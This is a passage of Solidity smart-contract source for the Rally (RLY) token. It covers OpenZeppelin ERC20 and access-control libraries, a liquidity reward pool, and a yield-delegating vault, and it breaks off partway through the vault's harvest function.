succeed"); } } } // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // contract YieldDelegatingVaultEvent2 { /// @notice Emitted when set new treasury event NewTreasury(address oldTreasury, address newTreasury); /// @notice Emitted when set new delegate percent event NewDelegatePercent(uint256 oldDelegatePercent, uint256 newDelegatePercent); /// @notice Emitted when a minter is added by admin event NewRewardPerToken(uint256 oldRewardPerToken, uint256 newRewardPerToken); } // /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // contract YDVRewardsDistributor is AccessControl, Ownable { using SafeERC20 for IERC20; using Address for address; IERC20 public rewardToken; address[] public ydvs; bytes32 public constant YDV_REWARDS = keccak256("YDV_REWARDS"); constructor(address _rally) public { rewardToken = IERC20(_rally); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } function transferReward(uint256 _amount) external { require (hasRole(YDV_REWARDS, msg.sender), "only ydv rewards"); rewardToken.safeTransfer(msg.sender, _amount); } function addYDV(address _ydv) external onlyOwner { grantRole(YDV_REWARDS, _ydv); ydvs.push(_ydv); } function ydvsLength() external view returns (uint256) { return ydvs.length; } } // interface Vault { function balanceOf(address) external view returns (uint256); function token() external view returns (address); function claimInsurance() external; function getPricePerFullShare() external view returns (uint256); function deposit(uint) external; function withdraw(uint) external; } // contract YDVErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, REJECTION } enum FailureInfo { SET_INDIVIDUAL_SOFT_CAP_CHECK, SET_GLOBAL_SOFT_CAP_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } // contract RallyToken is ERC20 { //15 billion fixed token supply with default 18 decimals uint256 public constant TOKEN_SUPPLY = 15 * 10**9 * 10**18; constructor ( address _escrow ) public ERC20( "Rally", "RLY" ) { _mint(_escrow, TOKEN_SUPPLY); } } // contract NoMintLiquidityRewardPools is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of RLY // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRallyPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accRallyPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. RLYs to distribute per block. uint256 lastRewardBlock; // Last block number that RLYs distribution occurs. uint256 accRallyPerShare; // Accumulated RLYs per share, times 1e12. See below. } // The RALLY TOKEN! RallyToken public rally; // RLY tokens created per block. uint256 public rallyPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when RLY mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( RallyToken _rally, uint256 _rallyPerBlock, uint256 _startBlock ) public { rally = _rally; rallyPerBlock = _rallyPerBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accRallyPerShare: 0 })); } // Update the given pool's RLY allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // update the rate at which RLY is allocated to rewards, can only be called by the owner function setRallyPerBlock(uint256 _rallyPerBlock) public onlyOwner { massUpdatePools(); rallyPerBlock = _rallyPerBlock; } // View function to see pending RLYs on frontend. function pendingRally(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accRallyPerShare = pool.accRallyPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = block.number.sub(pool.lastRewardBlock); uint256 rallyReward = multiplier.mul(rallyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accRallyPerShare = accRallyPerShare.add(rallyReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accRallyPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. // No new RLY are minted, distribution is dependent on sufficient RLY tokens being sent to this contract function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = block.number.sub(pool.lastRewardBlock); uint256 rallyReward = multiplier.mul(rallyPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accRallyPerShare = pool.accRallyPerShare.add(rallyReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to pool for RLY allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accRallyPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeRallyTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accRallyPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from pool. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accRallyPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeRallyTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accRallyPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe RLY transfer function, just in case pool does not have enough RLY; either rounding error or we're not supplying more rewards function safeRallyTransfer(address _to, uint256 _amount) internal { uint256 rallyBal = rally.balanceOf(address(this)); if (_amount > rallyBal) { rally.transfer(_to, rallyBal); } else { rally.transfer(_to, _amount); } } } // contract YieldDelegatingVaultStorage2 { address public vault; YDVRewardsDistributor rewards; IERC20 public rally; address public treasury; IERC20 public token; uint256 public delegatePercent; mapping(address => uint256) public rewardDebt; uint256 public totalDeposits; uint256 public rewardPerToken; uint256 public accRallyPerShare; bool public lrEnabled; uint256 public pid; NoMintLiquidityRewardPools lrPools; } // contract YieldDelegatingVault2 is ERC20, YieldDelegatingVaultStorage2, YieldDelegatingVaultEvent2, Ownable, ReentrancyGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; constructor ( address _vault, address _rewards, address _treasury, uint256 _delegatePercent, uint256 _rewardPerToken ) public ERC20( string(abi.encodePacked("rally delegating ", ERC20(Vault(_vault).token()).name())), string(abi.encodePacked("rd", ERC20(Vault(_vault).token()).symbol())) ) { _setupDecimals(ERC20(Vault(_vault).token()).decimals()); token = IERC20(Vault(_vault).token()); //token being deposited in the referenced vault vault = _vault; //address of the vault we're proxying rewards = YDVRewardsDistributor(_rewards); rally = rewards.rewardToken(); treasury = _treasury; delegatePercent = _delegatePercent; rewardPerToken = _rewardPerToken; totalDeposits = 0; accRallyPerShare = 0; lrEnabled = false; } function setTreasury(address newTreasury) public onlyOwner { require(newTreasury != address(0), "treasure should be valid address"); address oldTreasury = treasury; treasury = newTreasury; emit NewTreasury(oldTreasury, newTreasury); } function setNewRewardPerToken(uint256 newRewardPerToken) public onlyOwner { uint256 oldRewardPerToken = rewardPerToken; rewardPerToken = newRewardPerToken; emit NewRewardPerToken(oldRewardPerToken, newRewardPerToken); } function earned(address account) public view returns (uint256) { return balanceForRewardsCalc(account).mul(accRallyPerShare).div(1e12).sub(rewardDebt[account]); } function balance() public view returns (uint256) { return (IERC20(vault)).balanceOf(address(this)); //how many shares do we have in the vault we are delegating to } //for the purpose of rewards calculations, a user's balance is the total of what's in their wallet //and what they have deposited in the rewards pool (if it's active). //transfer restriction ensures accuracy of this sum function balanceForRewardsCalc(address account) internal view returns (uint256) { if (lrEnabled) { (uint256 amount, ) = lrPools.userInfo(pid, account); return balanceOf(account).add(amount); } return balanceOf(account); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public nonReentrant { uint256 pending = earned(msg.sender); if (pending > 0) { safeRallyTransfer(msg.sender, pending); } uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); totalDeposits = totalDeposits.add(_amount); token.approve(vault, _amount); Vault(vault).deposit(_amount); uint256 _after_pool = balance(); uint256 _new_shares = _after_pool.sub(_pool); //new vault tokens representing my added vault shares //translate vault shares into delegating vault shares uint256 shares = 0; if (totalSupply() == 0) { shares = _new_shares; } else { shares = (_new_shares.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); rewardDebt[msg.sender] = balanceForRewardsCalc(msg.sender).mul(accRallyPerShare).div(1e12); } function deposityToken(uint256 _yamount) public nonReentrant { uint256 pending = earned(msg.sender); if (pending > 0) { safeRallyTransfer(msg.sender, pending); } uint256 _before = IERC20(vault).balanceOf(address(this)); IERC20(vault).safeTransferFrom(msg.sender, address(this), _yamount); uint256 _after = IERC20(vault).balanceOf(address(this)); _yamount = _after.sub(_before); uint _underlyingAmount = _yamount.mul(Vault(vault).getPricePerFullShare()).div(1e18); totalDeposits = totalDeposits.add(_underlyingAmount); //translate vault shares into delegating vault shares uint256 shares = 0; if (totalSupply() == 0) { shares = _yamount; } else { shares = (_yamount.mul(totalSupply())).div(_before); } _mint(msg.sender, shares); rewardDebt[msg.sender] = balanceForRewardsCalc(msg.sender).mul(accRallyPerShare).div(1e12); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } function withdraw(uint256 _shares) public nonReentrant { uint256 pending = earned(msg.sender); if (pending > 0) { safeRallyTransfer(msg.sender, pending); } uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); safeReduceTotalDeposits(r.mul(Vault(vault).getPricePerFullShare()).div(1e18)); rewardDebt[msg.sender] = balanceForRewardsCalc(msg.sender).mul(accRallyPerShare).div(1e12); uint256 _before = token.balanceOf(address(this)); Vault(vault).withdraw(r); uint256 _after = token.balanceOf(address(this)); uint256 toTransfer = _after.sub(_before); token.safeTransfer(msg.sender, toTransfer); } //in case of rounding errors converting between vault tokens and underlying value function safeReduceTotalDeposits(uint256 _amount) internal { if (_amount > totalDeposits) { totalDeposits = 0; } else { totalDeposits = totalDeposits.sub(_amount); } } function withdrawyToken(uint256 _shares) public nonReentrant { uint256 pending = earned(msg.sender); if (pending > 0) { safeRallyTransfer(msg.sender, pending); } uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); rewardDebt[msg.sender] = balanceForRewardsCalc(msg.sender).mul(accRallyPerShare).div(1e12); uint256 _amount = r.mul(Vault(vault).getPricePerFullShare()).div(1e18); safeReduceTotalDeposits(_amount); IERC20(vault).safeTransfer(msg.sender, r); } // Safe RLY transfer function, just in case pool does not have enough RLY due to rounding error function safeRallyTransfer(address _to, uint256 _amount) internal { uint256 rallyBal = rally.balanceOf(address(this)); if (_amount > rallyBal) { rally.transfer(_to, rallyBal); } else { rally.transfer(_to, _amount); } } //how much are our shares of the underlying vault worth relative to the deposit value? returns value denominated in vault tokens function availableYield() public view returns (uint256) { uint256 totalValue = balance().mul(Vault(vault).getPricePerFullShare()).div(1e18); if (totalValue > totalDeposits) { uint256 earnings = totalValue.sub(totalDeposits); return earnings.mul(1e18).div(Vault(vault).getPricePerFullShare()); } return 0; } //transfer accumulated yield to treasury, update totalDeposits to ensure availableYield following //harvest is 0, and increase accumulated rally rewards //harvest fails if we're unable to fund rewards function harvest() public onlyOwner { uint256 